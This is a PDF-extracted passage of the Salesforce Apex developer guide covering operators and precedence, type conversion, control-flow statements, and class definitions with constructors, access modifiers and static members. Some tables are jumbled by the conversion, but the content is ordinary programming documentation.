Operator
? :

Syntax
x ? y : z

Description Ternary operator (Right associative). This operator acts as a short-hand for if-then-else statements. If x, a Boolean, is true, y is the result. Otherwise z is the result. Note that x cannot be null. AND logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both true, then the expression evaluates to true. Otherwise the expression evaluates to false. Note:
&& has precedence over ||

&&

x && y

This operator exhibits short-circuiting behavior, which means y is evaluated only if x is true. x and y cannot be null.

||

x || y

OR logical operator (Left associative). If x, a Boolean, and y, a Boolean, are both false, then the expression evaluates to false. Otherwise the expression evaluates to true. Note:
&& has precedence over ||

This operator exhibits short-circuiting behavior, which means y is evaluated only if x is false. x and y cannot be null.

==

x == y

Equality operator. If the value of x equals the value of y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: Unlike Java, == in Apex compares object value equality, not reference equality, except for user-defined types. Consequently: String comparison using == is case insensitive ID comparison using == is case sensitive, and does not distinguish between 15-character and 18-character formats User-defined types are compared by reference, which means that two objects are equal only if they reference the same location in memory. You can override this default comparison behavior by providing equals and hashCode methods in your class to compare object values instead. For sObjects and sObject arrays, == performs a deep check of all sObject field values before returning its result. Likewise for collections and built-in Apex objects. For records, every field must have the same value for == to evaluate to true. x or y can be the literal null. The comparison of any two values can never result in null. SOQL and SOSL use = for their equality operator, and not ==. Although Apex and SOQL and SOSL are strongly linked, this unfortunate syntax discrepancy exists because most modern languages use = for assignment

41

Data Types and Variables

Understanding Expression Operators

Operator

Syntax

Description and == for equality. The designers of Apex deemed it more valuable to maintain this paradigm than to force developers to learn a new assignment operator. The result is that Apex developers must use == for equality tests in the main body of the Apex code, and = for equality in SOQL and SOSL queries.

===

x === y

Exact equality operator. If x and y reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. Less than operator. If x is less than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: Unlike other database stored procedures, Apex does not support tri-state Boolean logic, and the comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

<

x < y

>

x > y

Greater than operator. If x is greater than y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

42

Data Types and Variables

Understanding Expression Operators

Operator
<=

Syntax
x <= y

Description Less than or equal to operator. If x is less than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

>=

x >= y

Greater than or equal to operator. If x is greater than or equal to y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: The comparison of any two values can never result in null. If x or y equal null and are Integers, Doubles, Dates, or Datetimes, the expression is false. A non-null String or ID value is always greater than a null value. If x and y are IDs, they must reference the same type of object. Otherwise, a runtime error results. If x or y is an ID and the other value is a String, the String value is validated and treated as an ID. x and y cannot be Booleans. The comparison of two strings is performed according to the locale of the context user.

!=

x != y

Inequality operator. If the value of x does not equal the value of y, the expression evaluates to true. Otherwise, the expression evaluates to false. Note: Unlike Java, != in Apex compares object value equality, not reference equality, except for user-defined types. For sObjects and sObject arrays, != performs a deep check of all sObject field values before returning its result. For records, != evaluates to true if the records have different values for any field. User-defined types are compared by reference, which means that two objects are different only if they reference different locations in memory. You can override this default comparison behavior by providing equals and hashCode methods in your class to compare object values instead. x or y can be the literal null.

43

Data Types and Variables

Understanding Expression Operators

Operator

Syntax

Description The comparison of any two values can never result in null.

!==

x !== y

Exact inequality operator. If x and y do not reference the exact same location in memory, the expression evaluates to true. Otherwise, the expression evaluates to false. Addition operator. Adds the value of x to the value of y according to the following rules: If x and y are Integers or Doubles, adds the value of x to the value of y. If a Double is used, the result is a Double. If x is a Date and y is an Integer, returns a new Date that is incremented by the specified number of days. If x is a Datetime and y is an Integer or Double, returns a new Date that is incremented by the specified number of days, with the fractional portion corresponding to a portion of a day. If x is a String and y is a String or any other type of non-null argument, concatenates y to the end of x. Subtraction operator. Subtracts the value of y from the value of x according to the following rules: If x and y are Integers or Doubles, subtracts the value of x from the value of y. If a Double is used, the result is a Double. If x is a Date and y is an Integer, returns a new Date that is decremented by the specified number of days. If x is a Datetime and y is an Integer or Double, returns a new Date that is decremented by the specified number of days, with the fractional portion corresponding to a portion of a day. Multiplication operator. Multiplies x, an Integer or Double, with y, another Integer or Double. Note that if a double is used, the result is a Double. Division operator. Divides x, an Integer or Double, by y, another Integer or Double. Note that if a double is used, the result is a Double. Logical complement operator. Inverts the value of a Boolean, so that true becomes false, and false becomes true. Unary negation operator. Multiplies the value of x, an Integer or Double, by -1. Note that the positive equivalent + is also syntactically valid, but does not have a mathematical effect. Increment operator. Adds 1 to the value of x, a variable of a numeric type. If prefixed (++x), the expression evaluates to the value of x after the increment. If postfixed (x++), the expression evaluates to the value of x before the increment. Decrement operator. Subtracts 1 from the value of x, a variable of a numeric type. If prefixed (--x), the expression evaluates to the value of x after the decrement. If postfixed (x--), the expression evaluates to the value of x before the decrement.

x + y

x - y

x * y

x / y

!x

-x

++

x++ ++x

--

x---x

44

Data Types and Variables

Understanding Operator Precedence

Operator
&

Syntax
x & y

Description Bitwise AND operator. ANDs each bit in x with the corresponding bit in y so that the result bit is set to 1 if both of the bits are set to 1. This operator is not valid for types Long or Integer. Bitwise OR operator. ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if at least one of the bits is set to 1. This operator is not valid for types Long or Integer. Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0. Bitwise exclusive OR operator. Exclusive ORs each bit in x with the corresponding bit in y so that the result bit is set to 1 if exactly one of the bits is set to 1 and the other bit is set to 0. Bitwise shift left operator. Shifts each bit in x to the left by y bits so that the high order bits are lost, and the new right bits are set to 0. Bitwise shift right signed operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for positive values of y and 1 for negative values of y. Bitwise shift right unsigned operator. Shifts each bit in x to the right by y bits so that the low order bits are lost, and the new left bits are set to 0 for all values of y. Parentheses. Elevates the precedence of an expression x so that it is evaluated first in a compound expression.

x | y

x ^ y

^=

x ^= y

<<

x << y

>>

x >> y

>>>

x >>> y

()

(x)

Understanding Operator Precedence

Apex uses the following operator precedence rules: Precedence 1 2 3 4 5 6 7 8 9 Operators
{} () ++ -! -x +x (type) new * / + < <= > >= instanceof

Description Grouping and prefix increments and decrements Unary negation, type cast and object creation Multiplication and division Addition and subtraction Greater-than and less-than comparisons, reference tests Comparisons: equal and not-equal Logical AND Logical OR Assignment operators

== != && || = += -= *= /= &=

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Data Types and Variables

Using Comments

Using Comments
Both single and multiline comments are supported in Apex code: To create a single line comment, use //. All characters on the same line to the right of the // are ignored by the parser. For example:
Integer i = 1; // This comment is ignored by the parser

To create a multiline comment, use /* and */ to demarcate the beginning and end of the comment block. For example:
Integer i = 1; /* This comment can wrap over multiple lines without getting interpreted by the parser. */

Assignment Statements
An assignment statement is any statement that places a value into a variable, generally in one of the following two forms:
[LValue] = [new_value_expression]; [LValue] = [[inline_soql_query]];

In the forms above, [LValue] stands for any expression that can be placed on the left side of an assignment operator. These include: A simple variable. For example:
Integer i = 1; Account a = new Account(); Account[] accts = [SELECT Id FROM Account];

A de-referenced list element. For example:

ints[0] = 1; accts[0].Name = 'Acme';

An sObject field reference that the context user has permission to edit. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco'); // IDs cannot be set prior to an insert call // a.Id = '00300000003T2PGAA0'; // Instead, insert the record. The system automatically assigns it an ID. insert a; // Fields also must be writeable for the context user // a.CreatedDate = System.today(); This code is invalid because // createdDate is read-only! // Since the account a has been inserted, it is now possible to // create a new contact that is related to it Contact c = new Contact(LastName = 'Roth', Account = a); // Notice that you can write to the account name directly through the contact c.Account.Name = 'salesforce.com';

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Data Types and Variables

Understanding Rules of Conversion

Assignment is always done by reference. For example:

Account a = new Account(); Account b; Account[] c = new Account[]{}; a.Name = 'Acme'; b = a; c.add(a); // These asserts should now be true. You can reference the data // originally allocated to account a through account b and account list c. System.assertEquals(b.Name, 'Acme'); System.assertEquals(c[0].Name, 'Acme');

Similarly, two lists can point at the same value in memory. For example:
Account[] a = new Account[]{new Account()}; Account[] b = a; a[0].Name = 'Acme'; System.assert(b[0].Name == 'Acme');

In addition to =, other valid assignment operators include +=, *=, /=, |=, &=, ++, and --. See Understanding Expression Operators on page 39.

Understanding Rules of Conversion

In general, Apex requires you to explicitly convert one data type to another. For example, a variable of the Integer data type cannot be implicitly converted to a String. You must use the string.format method. However, a few data types can be implicitly converted, without using a method. Numbers form a hierarchy of types. Variables of lower numeric types can always be assigned to higher types without explicit conversion. The following is the hierarchy for numbers, from lowest to highest: 1. 2. 3. 4. Integer Long Double Decimal Note: Once a value has been passed from a number of a lower type to a number of a higher type, the value is converted to the higher type of number. Note that the hierarchy and implicit conversion is unlike the Java hierarchy of numbers, where the base interface number is used and implicit object conversion is never allowed. In addition to numbers, other data types can be implicitly converted. The following rules apply: IDs can always be assigned to Strings. Strings can be assigned to IDs. However, at runtime, the value is checked to ensure that it is a legitimate ID. If it is not, a runtime exception is thrown. The instanceOf keyword can always be used to test whether a string is an ID.

Additional Considerations for Data Types

Data Types of Numeric Values Numeric values represent Integer values unless they are appended with L for a Long or with .0 for a Double or Decimal. For example, the expression Long d = 123; declares a Long variable named d and assigns it to an Integer numeric

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Data Types and Variables

Understanding Rules of Conversion

value (123), which is implicitly converted to a Long. The Integer value on the right hand side is within the range for Integers and the assignment succeeds. However, if the numeric value on the right hand side exceeds the maximum value for an Integer, you get a compilation error. In this case, the solution is to append L to the numeric value so that it represents a Long value which has a wider range, as shown in this example: Long d = 2147483648L;. Overflow of Data Type Values Arithmetic computations that produce values larger than the maximum value of the current type are said to overflow. For example, Integer i = 2147483647 + 1; yields a value of 2147483648 because 2147483647 is the maximum value for an Integer, so adding one to it wraps the value around to the minimum negative value for Integers, 2147483648. If arithmetic computations generate results larger than the maximum value for the current type, the end result will be incorrect because the computed values that are larger than the maximum will overflow. For example, the expression Long MillsPerYear = 365 * 24 * 60 * 60 * 1000; results in an incorrect result because the products of Integers on the right hand side are larger than the maximum Integer value and they overflow. As a result, the final product isn't the expected one. You can avoid this by ensuring that the type of numeric values or variables you are using in arithmetic operations are large enough to hold the results. In this example, append L to numeric values to make them Long so the intermediate products will be Long as well and no overflow occurs. The following example shows how to correctly compute the amount of milliseconds in a year by multiplying Long numeric values.
Long MillsPerYear = 365L * 24L * 60L * 60L * 1000L; Long ExpectedValue = 31536000000L; System.assertEquals(MillsPerYear, ExpectedValue);

Loss of Fractions in Divisions When dividing numeric Integer or Long values, the fractional portion of the result, if any, is removed before performing any implicit conversions to a Double or Decimal. For example, Double d = 5/3; returns 1.0 because the actual result (1.666...) is an Integer and is rounded to 1 before being implicitly converted to a Double. To preserve the fractional value, ensure that you are using Double or Decimal numeric values in the division. For example, Double d = 5.0/3.0; returns 1.6666666666666667 because 5.0 and 3.0 represent Double values, which results in the quotient being a Double as well and no fractional value is lost.

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Chapter 5
Control Flow Statements
In this chapter ... Conditional (If-Else) Statements Loops
Apex provides statements that control the flow of code execution. Statements are generally executed line by line, in the order they appear. With control flow statements, you can cause Apex code to execute based on a certain condition or you can have a block of code execute repeatedly. This section describes these control flow statements: if-else statements and loops.

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Control Flow Statements

Conditional (If-Else) Statements

Conditional (If-Else) Statements

The conditional statement in Apex works similarly to Java:
if ([Boolean_condition]) // Statement 1 else // Statement 2

The else portion is always optional, and always groups with the closest if. For example:
Integer x, sign; // Your code if (x <= 0) if (x == 0) sign = 0; else sign = -1;

is equivalent to:
Integer x, sign; // Your code if (x <= 0) { if (x == 0) { sign = 0; } else { sign = -1; } }

Repeated else if statements are also allowed. For example:

if (place == 1) { medal_color = 'gold'; } else if (place == 2) { medal_color = 'silver'; } else if (place == 3) { medal_color = 'bronze'; } else { medal_color = null; }

Loops
Apex supports the following five types of procedural loops:
do {statement} while (Boolean_condition); while (Boolean_condition) statement; for (initialization; Boolean_exit_condition; increment) statement; for (variable : array_or_set) statement; for (variable : [inline_soql_query]) statement;

All loops allow for loop control structures:

break; exits the entire loop continue; skips to the next iteration of the loop

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Control Flow Statements

Do-While Loops

Do-While Loops
The Apex do-while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
do { code_block } while (condition);

Note: Curly braces ({}) are always required around a code_block.

As in Java, the Apex do-while loop does not check the Boolean condition statement until after the first loop is executed. Consequently, the code block always runs at least once. As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1; do { System.debug(count); count++; } while (count < 11);

While Loops
The Apex while loop repeatedly executes a block of code as long as a particular Boolean condition remains true. Its syntax is:
while (condition) { code_block }

Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Unlike do-while, the while loop checks the Boolean condition statement before the first loop is executed. Consequently, it is possible for the code block to never execute. As an example, the following code outputs the numbers 1 - 10 into the debug log:
Integer count = 1; while (count < 11) { System.debug(count); count++; }

For Loops
Apex supports three variations of the for loop:

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Control Flow Statements

For Loops

The traditional for loop:

for (init_stmt; exit_condition; increment_stmt) { code_block }

The list or set iteration for loop:

for (variable : list_or_set) { code_block }

where variable must be of the same primitive or sObject type as list_or_set. The SOQL for loop:
for (variable : [soql_query]) { code_block }

or
for (variable_list : [soql_query]) { code_block }

Both variable and variable_list must be of the same sObject type as is returned by the soql_query. Note: Curly braces ({}) are required around a code_block only if the block contains more than one statement.

Each is discussed further in the sections that follow.

Traditional For Loops

The traditional for loop in Apex corresponds to the traditional syntax used in Java and other languages. Its syntax is:
for (init_stmt; exit_condition; increment_stmt) { code_block }

When executing this type of for loop, the Apex runtime engine performs the following steps, in order: 1. Execute the init_stmt component of the loop. Note that multiple variables can be declared and/or initialized in this statement. 2. Perform the exit_condition check. If true, the loop continues. If false, the loop exits. 3. Execute the code_block. 4. Execute the increment_stmt statement. 5. Return to Step 2. As an example, the following code outputs the numbers 1 - 10 into the debug log. Note that an additional initialization variable, j, is included to demonstrate the syntax:
for (Integer i = 0, j = 0; i < 10; i++) { System.debug(i+1); }

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Control Flow Statements

For Loops

List or Set Iteration for Loops

The list or set iteration for loop iterates over all the elements in a list or set. Its syntax is:
for (variable : list_or_set) { code_block }

where variable must be of the same primitive or sObject type as list_or_set. When executing this type of for loop, the Apex runtime engine assigns variable to each element in list_or_set, and runs the code_block for each value. For example, the following code outputs the numbers 1 - 10 to the debug log:
Integer[] myInts = new Integer[]{1, 2, 3, 4, 5, 6, 7, 8, 9, 10}; for (Integer i : myInts) { System.debug(i); }

Iterating Collections
Collections can consist of lists, sets, or maps. Modifying a collection's elements while iterating through that collection is not supported and causes an error. Do not directly add or remove elements while iterating through the collection that includes them. Adding Elements During Iteration To add elements while iterating a list, set or map, keep the new elements in a temporary list, set, or map and add them to the original after you finish iterating the collection. Removing Elements During Iteration To remove elements while iterating a list, create a new list, then copy the elements you wish to keep. Alternatively, add the elements you wish to remove to a temporary list and remove them after you finish iterating the collection. Note: The List.remove method performs linearly. Using it to remove elements has time and resource implications. To remove elements while iterating a map or set, keep the keys you wish to remove in a temporary list, then remove them after you finish iterating the collection.

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Chapter 6
Classes, Objects, and Interfaces
In this chapter ... Understanding Classes Understanding Interfaces Keywords Annotations Classes and Casting Differences Between Apex Classes and Java Classes Class Definition Creation Namespace Prefix Apex Code Versions Lists of Custom Types and Sorting Using Custom Types in Map Keys and Sets
This chapter covers classes and interfaces in Apex. It describes defining classes, instantiating them, and extending them. Interfaces, Apex class versions, properties, and other related class concepts are also described. In most cases, the class concepts described here are modeled on their counterparts in Java, and can be quickly understood by those who are familiar with them.

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Classes, Objects, and Interfaces

Understanding Classes

Understanding Classes
As in Java, you can create classes in Apex. A class is a template or blueprint from which objects are created. An object is an instance of a class. For example, the PurchaseOrder class describes an entire purchase order, and everything that you can do with a purchase order. An instance of the PurchaseOrder class is a specific purchase order that you send or receive. All objects have state and behavior, that is, things that an object knows about itself, and things that an object can do. The state of a PurchaseOrder objectwhat it knowsincludes the user who sent it, the date and time it was created, and whether it was flagged as important. The behavior of a PurchaseOrder objectwhat it can doincludes checking inventory, shipping a product, or notifying a customer. A class can contain variables and methods. Variables are used to specify the state of an object, such as the object's Name or Type. Since these variables are associated with a class and are members of it, they are commonly referred to as member variables. Methods are used to control behavior, such as getOtherQuotes or copyLineItems. A class can contain other classes, exception types, and initialization code. An interface is like a class in which none of the methods have been implementedthe method signatures are there, but the body of each method is empty. To use an interface, another class must implement it by providing a body for all of the methods contained in the interface. For more general information on classes, objects, and interfaces, see http://java.sun.com/docs/books/tutorial/java/concepts/index.html

Apex Class Definition

In Apex, you can define top-level classes (also called outer classes) as well as inner classes, that is, a class defined within another class. You can only have inner classes one level deep. For example:
public class myOuterClass { // Additional myOuterClass code here class myInnerClass { // myInnerClass code here } }

To define a class, specify the following: 1. Access modifiers: You must use one of the access modifiers (such as public or global) in the declaration of a top-level class. You do not have to use an access modifier in the declaration of an inner class.

2. Optional definition modifiers (such as virtual, abstract, and so on) 3. Required: The keyword class followed by the name of the class 4. Optional extensions and/or implementations Note: Avoid using standard object names for class names. Doing so causes unexpected results. For a list of standard objects, see Object Reference for Salesforce and Force.com. Use the following syntax for defining classes:
private | public | global [virtual | abstract | with sharing | without sharing | (none)] class ClassName [implements InterfaceNameList | (none)] [extends ClassName | (none)] {

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Class Variables

// The body of the class }

The private access modifier declares that this class is only known locally, that is, only by this section of code. This is the default access for inner classesthat is, if you don't specify an access modifier for an inner class, it is considered private. This keyword can only be used with inner classes. The public access modifier declares that this class is visible in your application or namespace. The global access modifier declares that this class is known by all Apex code everywhere. All classes that contain methods defined with the webService keyword must be declared as global. If a method or inner class is declared as global, the outer, top-level class must also be defined as global. The with sharing and without sharing keywords specify the sharing mode for this class. For more information, see Using the with sharing or without sharing Keywords on page 77. The virtual definition modifier declares that this class allows extension and overrides. You cannot override a method with the override keyword unless the class has been defined as virtual. The abstract definition modifier declares that this class contains abstract methods, that is, methods that only have their signature declared and no body defined. Note: You cannot add an abstract method to a global class after the class has been uploaded in a Managed - Released package version. If the class in the Managed - Released package is virtual, the method that you can add to it must also be virtual and must have an implementation. You cannot override a public or protected virtual method of a global class of an installed managed package.

For more information about managed packages, see What is a Package? on page 398. A class can implement multiple interfaces, but only extend one existing class. This restriction means that Apex does not support multiple inheritance. The interface names in the list are separated by commas. For more information about interfaces, see Understanding Interfaces on page 71. For more information about method and variable access modifiers, see Access Modifiers on page 60.

Class Variables
To declare a variable, specify the following: Optional: Modifiers, such as public or final, as well as static. Required: The data type of the variable, such as String or Boolean. Required: The name of the variable. Optional: The value of the variable.

Use the following syntax when defining a variable:

[public | private | protected | global | final] [static] data_type variable_name [= value]

For example:
private static final Integer MY_INT; private final Integer i = 1;

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Class Methods

Class Methods
To define a method, specify the following: Optional: Modifiers, such as public or protected. Required: The data type of the value returned by the method, such as String or Integer. Use void if the method does not return a value. Required: A list of input parameters for the method, separated by commas, each preceded by its data type, and enclosed in parentheses (). If there are no parameters, use a set of empty parentheses. A method can only have 32 input parameters. Required: The body of the method, enclosed in braces {}. All the code for the method, including any local variable declarations, is contained here.

Use the following syntax when defining a method:

(public | private | protected | global ) [override] [static] data_type method_name (input parameters) { // The body of the method }

Note: You can only use override to override methods in classes that have been defined as virtual.

For example:
public static Integer getInt() { return MY_INT; }

As in Java, methods that return values can also be run as a statement if their results are not assigned to another variable. Note that user-defined methods: Can be used anywhere that system methods are used. Can be recursive. Can have side effects, such as DML insert statements that initialize sObject record IDs. See DML Statements on page 404. Can refer to themselves or to methods defined later in the same class or anonymous block. Apex parses methods in two phases, so forward declarations are not needed. Can be polymorphic. For example, a method named foo can be implemented in two ways, one with a single Integer parameter and one with two Integer parameters. Depending on whether the method is called with one or two Integers, the Apex parser selects the appropriate implementation to execute. If the parser cannot find an exact match, it then seeks an approximate match using type coercion rules. For more information on data conversion, see Understanding Rules of Conversion on page 47. Note: If the parser finds multiple approximate matches, a parse-time exception is generated.

When using void methods that have side effects, user-defined methods are typically executed as stand-alone procedure statements in Apex code. For example:
System.debug('Here is a note for the log.');

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Class Methods

Can have statements where the return values are run as a statement if their results are not assigned to another variable. This is the same as in Java.

Passing Method Arguments By Value In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This means that any changes to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost. Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This means that when the method returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another object. However, the values of the object's fields can be changed in the method. The following are examples of passing primitive and non-primitive data type arguments into methods. Example: Passing Primitive Data Type Arguments This example shows how a primitive argument of type String is passed by value into another method. The debugStatusMessage method in this example creates a String variable, msg, and assigns it a value. It then passes this variable as an argument to another method, which modifies the value of this String. However, since String is a primitive type, it is passed by value, and when the method returns, the value of the original variable, msg, is unchanged. An assert statement verifies that the value of msg is still the old value.
public class PassPrimitiveTypeExample { public static void debugStatusMessage() { String msg = 'Original value'; processString(msg); // The value of the msg variable didn't // change; it is still the old value. System.assertEquals(msg, 'Original value'); } public static void processString(String s) { s = 'Modified value'; } }

Example: Passing Non-Primitive Data Type Arguments This example shows how a List argument is passed by value into another method and can be modified. It also shows that the List argument cant be modified to point to another List object. First, the createTemperatureHistory method creates a variable, fillMe, that is a List of Integers and passes it to a method. The called method fills this list with Integer values representing rounded temperature values. When the method returns, an assert verifies that the contents of the original List variable has changed and now contains five values. Next, the example creates a second List variable, createMe, and passes it to another method. The called method assigns the passed-in argument to a newly created List that contains new Integer values. When the method returns, the original createMe variable doesnt point to the new List but still points to the original List, which is empty. An assert verifies that createMe contains no values.
public class PassNonPrimitiveTypeExample { public static void createTemperatureHistory() { List<Integer> fillMe = new List<Integer>(); reference(fillMe); // The list is modified and contains five items // as expected. System.assertEquals(fillMe.size(),5); List<Integer> createMe = new List<Integer>(); referenceNew(createMe); // The list is not modified because it still points // to the original list, not the new list // that the method created. System.assertEquals(createMe.size(),0);

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Using Constructors

} public static void reference(List<Integer> m) { // Add rounded temperatures for the last five days. m.add(70); m.add(68); m.add(75); m.add(80); m.add(82); } public static void referenceNew(List<Integer> m) { // Assign argument to a new List of // five temperature values. m = new List<Integer>{55, 59, 62, 60, 63}; } }

Using Constructors
A constructor is code that is invoked when an object is created from the class blueprint. You do not need to write a constructor for every class. If a class does not have a user-defined constructor, an implicit, no-argument, public one is used. The syntax for a constructor is similar to a method, but it differs from a method definition in that it never has an explicit return type and it is not inherited by the object created from it. After you write the constructor for a class, you must use the new keyword in order to instantiate an object from that class, using that constructor. For example, using the following class:
public class TestObject { // The no argument constructor public TestObject() { // more code here } }

A new object of this type can be instantiated with the following code:
TestObject myTest = new TestObject();

If you write a constructor that takes arguments, you can then use that constructor to create an object using those arguments. If you create a constructor that takes arguments, and you still want to use a no-argument constructor, you must include one in your code. Once you create a constructor for a class, you no longer have access to the default, no-argument public constructor. You must create your own. In Apex, a constructor can be overloaded, that is, there can be more than one constructor for a class, each having different parameters. The following example illustrates a class with two constructors: one with no arguments and one that takes a simple Integer argument. It also illustrates how one constructor calls another constructor using the this(...) syntax, also know as constructor chaining.
public class TestObject2 { private static final Integer DEFAULT_SIZE = 10; Integer size; //Constructor with no arguments public TestObject2() { this(DEFAULT_SIZE); // Using this(...) calls the one argument constructor }

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Access Modifiers

// Constructor with one argument public TestObject2(Integer ObjectSize) { size = ObjectSize; } }

New objects of this type can be instantiated with the following code:
TestObject2 myObject1 = new TestObject2(42); TestObject2 myObject2 = new TestObject2();

Every constructor that you create for a class must have a different argument list. In the following example, all of the constructors are possible:
public class Leads { // First a no-argument constructor public Leads () {} // A constructor with one argument public Leads (Boolean call) {} // A constructor with two arguments public Leads (String email, Boolean call) {} // Though this constructor has the same arguments as the // one above, they are in a different order, so this is legal public Leads (Boolean call, String email) {} }

When you define a new class, you are defining a new data type. You can use class name in any place you can use other data type names, such as String, Boolean, or Account. If you define a variable whose type is a class, any object you assign to it must be an instance of that class or subclass.

Access Modifiers
Apex allows you to use the private, protected, public, and global access modifiers when defining methods and variables. While triggers and anonymous blocks can also use these access modifiers, they are not as useful in smaller portions of Apex. For example, declaring a method as global in an anonymous block does not enable you to call it from outside of that code. For more information on class access modifiers, see Apex Class Definition on page 55. Note: Interface methods have no access modifiers. They are always global. For more information, see Understanding Interfaces on page 71. By default, a method or variable is visible only to the Apex code within the defining class. You must explicitly specify a method or variable as public in order for it to be available to other classes in the same application namespace (see Namespace Prefix). You can change the level of visibility by using the following access modifiers:
private

This is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is private.

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Static and Instance

protected

This means that the method or variable is visible to any inner classes in the defining Apex class, and to the classes that extend the defining Apex class. You can only use this access modifier for instance methods and member variables. Note that it is strictly more permissive than the default (private) setting, just like Java.
public

This means the method or variable can be used by any Apex in this application or namespace. Note: In Apex, the public access modifier is not the same as it is in Java. This was done to discourage joining applications, to keep the code for each application separate. In Apex, if you want to make something public like it is in Java, you need to use the global access modifier.

global

This means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains it as global. Note: We recommend using the global access modifier rarely, if at all. Cross-application dependencies are difficult to maintain.

To use the private, protected, public, or global access modifiers, use the following syntax:
[(none)|private|protected|public|global] declaration

For example:
private string s1 = '1'; public string gets1() { return this.s1; }

Static and Instance

In Apex, you can have static methods, variables, and initialization code. Apex classes cant be static. You can also have instance methods, member variables, and initialization code (which have no modifier), and local variables: Static methods, variables, or initialization code are associated with a class, and are only allowed in outer classes. When you declare a method or variable as static, it's initialized only once when a class is loaded. Static variables aren't transmitted as part of the view state for a Visualforce page. Instance methods, member variables, and initialization code are associated with a particular object and have no definition modifier. When you declare instance methods, member variables, or initialization code, an instance of that item is created with every object instantiated from the class. Local variables are associated with the block of code in which they are declared. All local variables should be initialized before they are used.

The following is an example of a local variable whose scope is the duration of the if code block:
Boolean myCondition = true; if (myCondition) {

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Static and Instance

integer localVariable = 10; }

Using Static Methods and Variables

You can only use static methods and variables with outer classes. Inner classes have no static methods or variables. A static method or variable does not require an instance of the class in order to run. All static member variables in a class are initialized before any object of the class is created. This includes any static initialization code blocks. All of these are run in the order in which they appear in the class. Static methods are generally used as utility methods and never depend on a particular instance member variable value. Because a static method is only associated with a class, it cannot access any instance member variable values of its class. Static variables are only static within the scope of the request. Theyre not static across the server, or across the entire organization. Use static variables to store information that is shared within the confines of the class. All instances of the same class share a single copy of the static variables. For example, all triggers that are spawned by the same transaction can communicate with each other by viewing and updating static variables in a related class. A recursive trigger might use the value of a class variable to determine when to exit the recursion. Suppose you had the following class:
public class p { public static boolean firstRun = true; }

A trigger that uses this class could then selectively fail the first run of the trigger:
trigger t1 on Account (before delete, after delete, after undelete) { if(Trigger.isBefore){ if(Trigger.isDelete){ if(p.firstRun){ Trigger.old[0].addError('Before Account Delete Error'); p.firstRun=false; } } } }

Static variables defined in a trigger dont retain their values between different trigger contexts within the same transaction, for example, between before insert and after insert invocations. Define the static variables in a class instead so that the trigger can access these class member variables and check their static values. Class static variables cannot be accessed through an instance of that class. So if class C has a static variable S, and x is an instance of C, then x.S is not a legal expression. The same is true for instance methods: if M() is a static method then x.M() is not legal. Instead, your code should refer to those static identifiers using the class: C.S and C.M(). If a local variable is named the same as the class name, these static methods and variables are hidden. Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword). Note: For Apex saved using Salesforce.com API version 20.0 or earlier, if an API call causes a trigger to fire, the chunk of 200 records to process is further split into chunks of 100 records. For Apex saved using Salesforce.com API version 21.0 and later, no further splits of API chunks occur. Note that static variable values are reset between API batches, but governor limits are not. Do not use static variables to track state information between API batches.

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Static and Instance

Using Instance Methods and Variables

Instance methods and member variables are used by an instance of a class, that is, by an object. Instance member variables are declared inside a class, but not within a method. Instance methods usually use instance member variables to affect the behavior of the method. Suppose you wanted to have a class that collects two dimensional points and plot them on a graph. The following skeleton class illustrates this, making use of member variables to hold the list of points and an inner class to manage the two-dimensional list of points.
public class Plotter { // This inner class manages the points class Point { Double x; Double y; Point(Double x, Double y) { this.x = x; this.y = y; } Double getXCoordinate() { return x; } Double getYCoordinate() { return y; } } List<Point> points = new List<Point>(); public void plot(Double x, Double y) { points.add(new Point(x, y)); } // The following method takes the list of points and does something with them public void render() { } }

Using Initialization Code

Instance initialization code is a block of code in the following form that is defined in a class:
{ //code body }

The instance initialization code in a class is executed every time an object is instantiated from that class. These code blocks run before the constructor. If you do not want to write your own constructor for a class, you can use an instance initialization code block to initialize instance variables. However, most of the time you should either give the variable a default value or use the body of a constructor to do initialization and not use instance initialization code. Static initialization code is a block of code preceded with the keyword static:
static {

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Apex Properties

//code body }

